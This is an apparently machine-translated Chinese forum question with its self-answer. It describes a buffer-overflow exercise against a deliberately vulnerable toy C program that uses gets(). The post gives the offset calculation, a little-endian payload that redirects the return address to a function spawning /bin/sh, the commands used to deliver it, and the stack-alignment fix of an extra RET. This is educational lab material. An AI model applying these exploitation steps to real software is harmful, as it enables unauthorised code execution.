/bin/sh 立即關閉,無需等待使用者輸入
我正在利用緩衝區溢出漏洞用於教育目的。我的目標是通過更改 RIP 並針對 evil 功能來觸發 shell。我正在使用 Ubuntu 18.04 64 位。這是code.c:
#include <stdio.h> #include <stdlib.h> void main(void) { char buf[20]; printf("Give me your name: "); gets(buf); printf("\nYour name is %s\n", buf); return; } void evil(){ printf("Evil function entered\n"); system("/bin/sh"); printf("Evil function exited\n"); return; }
為了簡單起見,我使用
-fno-stack-protector
禁用金絲雀的 GCC 選項編譯了這段程式碼。另外,我使用以下命令禁用了 ASLRsudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
:. 因此,程序的記憶體地址永遠不會改變,這讓事情變得容易多了。在 code.c 的編譯版本中,我通過 GDB 獲得了以下資訊:
緩衝區開始於:
0x7fffffffde80
RIP 儲存在:
0x7fffffffdea8
0x7fffffffdea8 - 0x7fffffffde80 = 40
. 所以,我們需要插入一個 40 字節的填充。evil 函式的入口位於
0x55555555475f
,在 little-endian 中如下所示:
\x5f\x47\x55\x55\x55\x55\x00\x00
(添加兩個 \x00 以構成整個 8 字節地址)最終的有效載荷如下所示:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x5f\x47\x55\x55\x55\x55\x00\x00
現在,我將它儲存在一個文件中:
echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x5f\x47\x55\x55\x55\x55\x00\x00" > input.txt
最後,我執行程序並將
input.txt
內容作為輸入傳遞:cat input.txt - | ./code
注意
-
以防止 cat 退出。我的終端顯示:
Give me your name: Your name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_GUUUU Evil function entered Evil function exited Program received signal SIGSEGV. Segmentation fault. Core dumped.
令人驚訝的是,邪惡的功能被執行但
/bin/sh
沒有被彈出。它會立即關閉而不詢問使用者命令。看起來標準輸入在某個時候與終端分離。問題是:如何彈出 shell 以執行命令?這是某種安全保護嗎?
謝謝。
我終於解決了這個問題。
當堆棧不是 16 字節對齊時,C 庫的 system() 函式無法執行。
在我的例子中,我忘記在 16 字節邊界上對齊堆棧,這就是為什麼
system("/bin/sh");
沒有正確執行,因此沒有觸發 shell。事實上,在 x86-64 中,System V ABI 要求堆棧在執行 CALL 彙編指令之前應該是 16 字節對齊的。否則,結果是不可預測的。因此,這不僅適用於 system() 函式,還適用於任何函式。
由於我的堆棧錯位了 8 個字節,因此向 ROP 鏈添加額外的 RET 會導致堆棧正確對齊。
現在我已經開始工作了。